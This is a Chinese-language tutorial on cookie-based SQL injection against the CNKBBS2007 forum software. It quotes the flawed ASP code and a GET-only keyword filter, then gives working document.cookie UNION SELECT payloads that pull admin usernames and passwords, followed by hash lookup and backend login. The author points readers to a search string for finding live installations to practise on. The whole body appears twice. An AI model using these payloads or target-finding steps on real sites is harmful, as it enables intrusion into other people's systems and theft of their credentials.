cookies的注入基本方法和原理介紹
互聯(lián)網(wǎng) 發(fā)布時間:2008-10-08 19:36:25 作者:佚名
我要評論

現(xiàn)在很多網(wǎng)站都采用了通用防注入程序,那么對于這種網(wǎng)站,我門是否就束手無策了呢?答案是否定的,因為我們可以采用cookie 注入的方法,而很多通用防注入程序?qū)@種注入方式都沒有防備。
在講之前,我們還是來回顧下ASP腳本中Request對象的知識吧,上面幾講中都提到Requ
現(xiàn)在很多網(wǎng)站都采用了通用防注入程序,那么對于這種網(wǎng)站,我門是否就束手無策了呢?答案是否定的,因為我們可以采用cookie 注入的方法,而很多通用防注入程序?qū)@種注入方式都沒有防備。
在講之前,我們還是來回顧下ASP腳本中Request對象的知識吧,上面幾講中都提到Request對象獲取客戶端提交數(shù)據(jù)常用的是GET和POST二種方式,同時request對象可以不通過集合來獲得數(shù)據(jù),即直接使用"request("name")"但它的效率低下,容易出錯,當我們省略具體的集合名稱時,ASP是按QueryString,from,cookie,servervariable,集合的順序來搜索的,在request對象成員中集合cookies,它的意思是"讀取用戶系統(tǒng)發(fā)送的所有cookie值,我們從第二講關(guān)于"cookies欺騙入侵和原理"中知道,cookies是保存在客戶端計算機的一個文本文件,可以進行修改,這樣一來,我們就可以使用Request.cookie方式來提交變量的值,從而利用系統(tǒng)的漏洞進行注入攻擊. 我們首先還是來看看中網(wǎng)景論壇的最新版本"(CNKBBS2007)中網(wǎng)景論壇2007v5.0 "官方下載地址"http://www.cnetking.com/websys2.asp?id=26"發(fā)布時間是2007-06-06,打開系統(tǒng)的源代碼后,在"user_RxMsg_detail.asp"文件中,有如下代碼: <!--#include file="opendb.asp" -->
(調(diào)用opendb.asp文件)
<!--#include file="char.asp" -->
<%
Call CheckUserLogin(username)
Dim action,s,id
id=request("id") (獲取客戶提交的變量,并賦值給id,并沒過濾,也沒有指定采用那種方式提交)
if id<>"" then Call IsNum(bid) (這是程序員的出現(xiàn)地方,注意bid<>id)
conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '設(shè)置已讀
rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3 我們再打開"opendb.asp"文件 <%Option Explicit
Response.Buffer = true%>
<!--#include file="fzr.asp" --> (調(diào)用fzr.asp文件)
<!--#include file="cnkdata/dbname.asp" -->
<!--#include file="config.asp"-->
..................
以現(xiàn)它是連接數(shù)據(jù)庫的文件,其中調(diào)用了fzr.asp文件,我們再打開fzr.asp文件
<%
'--------版權(quán)說明------------------
'SQL通用防注入程序
'Aseanleung
'--------定義部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
Dim fso1,all_tree2,file1,files,filez,fs1,zruserip
If Request.QueryString<>"" Then (對Request.QueryString提交(客戶采用GET方式提交)的數(shù)據(jù)進行判斷,并沒有指明對其它方式提交的數(shù)據(jù)進行判斷)
'自定義需要過濾的字串,用 "|" 分隔
Fy_In = "'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" (阻止了常用的SQL注入的語句)
Fy_Inf = split(Fy_In,"|")
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")
Response.Write "內(nèi)容含有非法字符!請不要有'或and或or等字符,請去掉這些字符再發(fā)?。?lt;br>"
Response.Write "如是要攻擊網(wǎng)站,系統(tǒng)記錄了你的操作↓<br>"
Response.Write "操作IP:"&zruserip&"<br>"
Response.Write "操作時間:"&Now&"<br>"
Response.Write "操作頁面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交參數(shù):"&Fy_Get&"<br>"
Response.Write "提交數(shù)據(jù):"&Request.QueryString(Fy_Get)
...................... 很明顯的看出它是一個SQL通用防注入程序文件,(以上的紅字是對代碼的解釋) 代碼看好了,我們來整理下思路:由于程序員的出錯,導(dǎo)致了id沒有被過濾就被帶到SQL語句中查詢,這是注入漏洞產(chǎn)生的原因,雖然程序引入了防注入程序,阻止了常用的SQL語句使用,但只對客戶采用GET方式提交的數(shù)據(jù)進行判斷,而沒有對其它方式提交的數(shù)據(jù)進行判斷,這樣導(dǎo)致了客戶可以使用Request.cookie方式來提交變量的值,而繞過了SQL防注入程序(總結(jié)下:cookie注入產(chǎn)生的條件:系統(tǒng)直接使用"request("name")"獲取客戶提交的數(shù)據(jù),并對客戶提交的變量沒有過濾,而且在防注入程序中沒有限制Request.cookie,現(xiàn)在防注入程序3.0只是對客戶采用GET和POST提交方式進行了限制). 原理講好了,下面我們來學(xué)學(xué)coolie注入語句吧 cookies的注入語句:alert(document.cookie="id=" escape("這就是asp? id=xx后面xx代表的數(shù)值) and (這里是注入攻擊代碼)")); 這兒用到了javascript語言的知識,我把這語句的意思分解如下,以便大家理解: 1:"alert()"顯示信息對話框的alert()方法,它生成的是一個獨立的小窗口,稱作對話框,用來顯示一條信息和一個按鈕.(我們在跨站中常用到) 2:"document.cookie"我們在處理cookie時,javascript將它保存為document對象的一個屬性,其屬性名稱是cookie,利用這個屬性,我們可以創(chuàng)建和讀取cookie數(shù)據(jù),在程序中可以使用:"alert(document.cookie)"調(diào)用當前頁面的cookie數(shù)據(jù)項值.在我們啟動瀏覽器打開頁面后,如果存在相應(yīng)的cookie,那么它被裝入到document對象的cookie屬性中,document.cookie屬性采用name=value對應(yīng)方式保存各個cookie數(shù)據(jù)項值.document(文檔)對象表示在瀏覽器里顯示的HTML(向頁面輸出數(shù)據(jù)),cookie屬性是允許讀寫HTTP的cookie;字符串類型 4:escape()函數(shù);它將字符串中所有的非字母字符轉(zhuǎn)換為用字母數(shù)字表示的等價字符串,具有編碼字符串的功能.一般情況下,cookie通常由服務(wù)器端的程序通過HTTP請求和響應(yīng)頭發(fā)送給瀏覽器,但是,利用javascript,可以在本地瀏覽器中設(shè)置cookie格式:name=value的屬性是指定cookie數(shù)據(jù)項的名稱,value是該名稱對應(yīng)的值,它是一個字符串,也可是由一系列字符組成,name和value中不能包含分號,逗號及空白,(50"and 1=1")有分號,逗號及空白,所以我們要用到escape()函數(shù)對他們進行編碼 上面整句的意思大家都明白了吧,就是設(shè)置調(diào)用當前創(chuàng)建的cookie數(shù)據(jù)項值,在設(shè)置cookie時,它們首先保存在瀏覽器的內(nèi)存中,退出瀏覽器時,才能被寫入到硬盤中.(這就是在下面操作中為什么在退出后,再輸入鏈接的地址原因) 最后我們來測試下,利用步驟: 1:打開在本地機子上架設(shè)的中網(wǎng)景論壇:注冊一個用戶,我們就會收到管理員發(fā)來的一條短信息,我們打開短信息的鏈接(注意這兒的參數(shù)id值) 2:把瀏覽器的URL清空,輸入"alert(document.cookie="id=" escape("相應(yīng)參數(shù)id值 and 1=1"));之后會彈出一個框框, 3:再次輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員(返回正常的頁面,說明我們繞過了SQL防注入程序了) 3:再輸入:alert(document.cookie="id=" escape("1 and 1=2"));然后再輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員(時間和內(nèi)容都沒有顯示了,說明我們可以進行注入了) 4:通過查看系統(tǒng)數(shù)據(jù)庫,得知cnk_users_RxMsg 表里有8個字段,Cnk_Admin表是存放管理員資料的,其中AdminName,AdminPassword字段分別對應(yīng)的是賬號和密碼,我們使用聯(lián)合查詢語句,再輸入:alert(document.cookie="id=" escape("1 and 1=2 union select 1,2,3,4,5,6,7,8 from Cnk_Admin"))然后把地址欄清空,輸入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp,可經(jīng)看到顯示了數(shù)字4和5 5:再次把地址欄清空,輸入:alert(document.cookie="id=" escape("1 and 1=2 union select 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin")),提交后,清空地址欄,輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員,這樣我們就在頁面上看到管理員的密碼和賬號了 6:把得到的密碼放入http://www.cmd5.com網(wǎng)站查詢,得知管理員的明文密碼是admin,在網(wǎng)站的首頁我們就可進行登錄后臺了,我們也可利用關(guān)鍵字"Powered by CNKBBS2007 (5.2)"去網(wǎng)上找使用這系統(tǒng)的網(wǎng)站,(不過不是很多啊)大家去練習(xí)下手工的注入吧,可別搞在破壞喲!不過在使用這類注入時,它需要兩次手動操作才能完成,這也是容易出錯的地方,可要細心才行.
在講之前,我們還是來回顧下ASP腳本中Request對象的知識吧,上面幾講中都提到Request對象獲取客戶端提交數(shù)據(jù)常用的是GET和POST二種方式,同時request對象可以不通過集合來獲得數(shù)據(jù),即直接使用"request("name")"但它的效率低下,容易出錯,當我們省略具體的集合名稱時,ASP是按QueryString,from,cookie,servervariable,集合的順序來搜索的,在request對象成員中集合cookies,它的意思是"讀取用戶系統(tǒng)發(fā)送的所有cookie值,我們從第二講關(guān)于"cookies欺騙入侵和原理"中知道,cookies是保存在客戶端計算機的一個文本文件,可以進行修改,這樣一來,我們就可以使用Request.cookie方式來提交變量的值,從而利用系統(tǒng)的漏洞進行注入攻擊. 我們首先還是來看看中網(wǎng)景論壇的最新版本"(CNKBBS2007)中網(wǎng)景論壇2007v5.0 "官方下載地址"http://www.cnetking.com/websys2.asp?id=26"發(fā)布時間是2007-06-06,打開系統(tǒng)的源代碼后,在"user_RxMsg_detail.asp"文件中,有如下代碼: <!--#include file="opendb.asp" -->
(調(diào)用opendb.asp文件)
<!--#include file="char.asp" -->
<%
Call CheckUserLogin(username)
Dim action,s,id
id=request("id") (獲取客戶提交的變量,并賦值給id,并沒過濾,也沒有指定采用那種方式提交)
if id<>"" then Call IsNum(bid) (這是程序員的出現(xiàn)地方,注意bid<>id)
conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '設(shè)置已讀
rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3 我們再打開"opendb.asp"文件 <%Option Explicit
Response.Buffer = true%>
<!--#include file="fzr.asp" --> (調(diào)用fzr.asp文件)
<!--#include file="cnkdata/dbname.asp" -->
<!--#include file="config.asp"-->
..................
以現(xiàn)它是連接數(shù)據(jù)庫的文件,其中調(diào)用了fzr.asp文件,我們再打開fzr.asp文件
<%
'--------版權(quán)說明------------------
'SQL通用防注入程序
'Aseanleung
'--------定義部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
Dim fso1,all_tree2,file1,files,filez,fs1,zruserip
If Request.QueryString<>"" Then (對Request.QueryString提交(客戶采用GET方式提交)的數(shù)據(jù)進行判斷,并沒有指明對其它方式提交的數(shù)據(jù)進行判斷)
'自定義需要過濾的字串,用 "|" 分隔
Fy_In = "'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" (阻止了常用的SQL注入的語句)
Fy_Inf = split(Fy_In,"|")
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")
Response.Write "內(nèi)容含有非法字符!請不要有'或and或or等字符,請去掉這些字符再發(fā)?。?lt;br>"
Response.Write "如是要攻擊網(wǎng)站,系統(tǒng)記錄了你的操作↓<br>"
Response.Write "操作IP:"&zruserip&"<br>"
Response.Write "操作時間:"&Now&"<br>"
Response.Write "操作頁面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交參數(shù):"&Fy_Get&"<br>"
Response.Write "提交數(shù)據(jù):"&Request.QueryString(Fy_Get)
...................... 很明顯的看出它是一個SQL通用防注入程序文件,(以上的紅字是對代碼的解釋) 代碼看好了,我們來整理下思路:由于程序員的出錯,導(dǎo)致了id沒有被過濾就被帶到SQL語句中查詢,這是注入漏洞產(chǎn)生的原因,雖然程序引入了防注入程序,阻止了常用的SQL語句使用,但只對客戶采用GET方式提交的數(shù)據(jù)進行判斷,而沒有對其它方式提交的數(shù)據(jù)進行判斷,這樣導(dǎo)致了客戶可以使用Request.cookie方式來提交變量的值,而繞過了SQL防注入程序(總結(jié)下:cookie注入產(chǎn)生的條件:系統(tǒng)直接使用"request("name")"獲取客戶提交的數(shù)據(jù),并對客戶提交的變量沒有過濾,而且在防注入程序中沒有限制Request.cookie,現(xiàn)在防注入程序3.0只是對客戶采用GET和POST提交方式進行了限制). 原理講好了,下面我們來學(xué)學(xué)coolie注入語句吧 cookies的注入語句:alert(document.cookie="id=" escape("這就是asp? id=xx后面xx代表的數(shù)值) and (這里是注入攻擊代碼)")); 這兒用到了javascript語言的知識,我把這語句的意思分解如下,以便大家理解: 1:"alert()"顯示信息對話框的alert()方法,它生成的是一個獨立的小窗口,稱作對話框,用來顯示一條信息和一個按鈕.(我們在跨站中常用到) 2:"document.cookie"我們在處理cookie時,javascript將它保存為document對象的一個屬性,其屬性名稱是cookie,利用這個屬性,我們可以創(chuàng)建和讀取cookie數(shù)據(jù),在程序中可以使用:"alert(document.cookie)"調(diào)用當前頁面的cookie數(shù)據(jù)項值.在我們啟動瀏覽器打開頁面后,如果存在相應(yīng)的cookie,那么它被裝入到document對象的cookie屬性中,document.cookie屬性采用name=value對應(yīng)方式保存各個cookie數(shù)據(jù)項值.document(文檔)對象表示在瀏覽器里顯示的HTML(向頁面輸出數(shù)據(jù)),cookie屬性是允許讀寫HTTP的cookie;字符串類型 4:escape()函數(shù);它將字符串中所有的非字母字符轉(zhuǎn)換為用字母數(shù)字表示的等價字符串,具有編碼字符串的功能.一般情況下,cookie通常由服務(wù)器端的程序通過HTTP請求和響應(yīng)頭發(fā)送給瀏覽器,但是,利用javascript,可以在本地瀏覽器中設(shè)置cookie格式:name=value的屬性是指定cookie數(shù)據(jù)項的名稱,value是該名稱對應(yīng)的值,它是一個字符串,也可是由一系列字符組成,name和value中不能包含分號,逗號及空白,(50"and 1=1")有分號,逗號及空白,所以我們要用到escape()函數(shù)對他們進行編碼 上面整句的意思大家都明白了吧,就是設(shè)置調(diào)用當前創(chuàng)建的cookie數(shù)據(jù)項值,在設(shè)置cookie時,它們首先保存在瀏覽器的內(nèi)存中,退出瀏覽器時,才能被寫入到硬盤中.(這就是在下面操作中為什么在退出后,再輸入鏈接的地址原因) 最后我們來測試下,利用步驟: 1:打開在本地機子上架設(shè)的中網(wǎng)景論壇:注冊一個用戶,我們就會收到管理員發(fā)來的一條短信息,我們打開短信息的鏈接(注意這兒的參數(shù)id值) 2:把瀏覽器的URL清空,輸入"alert(document.cookie="id=" escape("相應(yīng)參數(shù)id值 and 1=1"));之后會彈出一個框框, 3:再次輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員(返回正常的頁面,說明我們繞過了SQL防注入程序了) 3:再輸入:alert(document.cookie="id=" escape("1 and 1=2"));然后再輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員(時間和內(nèi)容都沒有顯示了,說明我們可以進行注入了) 4:通過查看系統(tǒng)數(shù)據(jù)庫,得知cnk_users_RxMsg 表里有8個字段,Cnk_Admin表是存放管理員資料的,其中AdminName,AdminPassword字段分別對應(yīng)的是賬號和密碼,我們使用聯(lián)合查詢語句,再輸入:alert(document.cookie="id=" escape("1 and 1=2 union select 1,2,3,4,5,6,7,8 from Cnk_Admin"))然后把地址欄清空,輸入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp,可經(jīng)看到顯示了數(shù)字4和5 5:再次把地址欄清空,輸入:alert(document.cookie="id=" escape("1 and 1=2 union select 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin")),提交后,清空地址欄,輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員,這樣我們就在頁面上看到管理員的密碼和賬號了 6:把得到的密碼放入http://www.cmd5.com網(wǎng)站查詢,得知管理員的明文密碼是admin,在網(wǎng)站的首頁我們就可進行登錄后臺了,我們也可利用關(guān)鍵字"Powered by CNKBBS2007 (5.2)"去網(wǎng)上找使用這系統(tǒng)的網(wǎng)站,(不過不是很多啊)大家去練習(xí)下手工的注入吧,可別搞在破壞喲!不過在使用這類注入時,它需要兩次手動操作才能完成,這也是容易出錯的地方,可要細心才行.
相關(guān)文章
什么是CC攻擊 判斷網(wǎng)站是否被CC攻擊并且如何防御CC攻擊
CC主要是用來攻擊頁面的,大家都有這樣的經(jīng)歷,就是在訪問論壇時,如果這個論壇比較大,訪問的人比較多,打開頁面的速度會比較慢,對不?!一般來說,訪問的人越多,論壇的頁2024-01-06Windows系統(tǒng)安全風(fēng)險-本地NTLM重放提權(quán)
入侵者主要通過Potato程序攻擊擁有SYSTEM權(quán)限的端口偽造網(wǎng)絡(luò)身份認證過程,利用NTLM重放機制騙取SYSTEM身份令牌,最終取得系統(tǒng)權(quán)限,該安全風(fēng)險微軟并不認為存在漏洞,所以2021-04-15- 這篇文章主要介紹了文件上傳漏洞全面滲透分析小結(jié),這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21
- 這篇文章主要介紹了sql手工注入語句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權(quán),需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權(quán)與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權(quán)與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據(jù)獲取明文
不久之前我們說過關(guān)于http和https的區(qū)別,對于加密的https,我們一直認為它是相對安全的,可今天要講的是,一種繞過HTTPS加密得到明文信息的web攻擊方式,不知道這消息對你2016-08-10iPhone和Mac也會被黑 一條iMessage密碼可能就被盜了
一直以來蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會導(dǎo)致用戶信息泄露。2016-07-27- 國家正在修正關(guān)于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進入攻擊者郵箱
面對惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護能力都沒有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進入攻擊者郵箱2016-07-06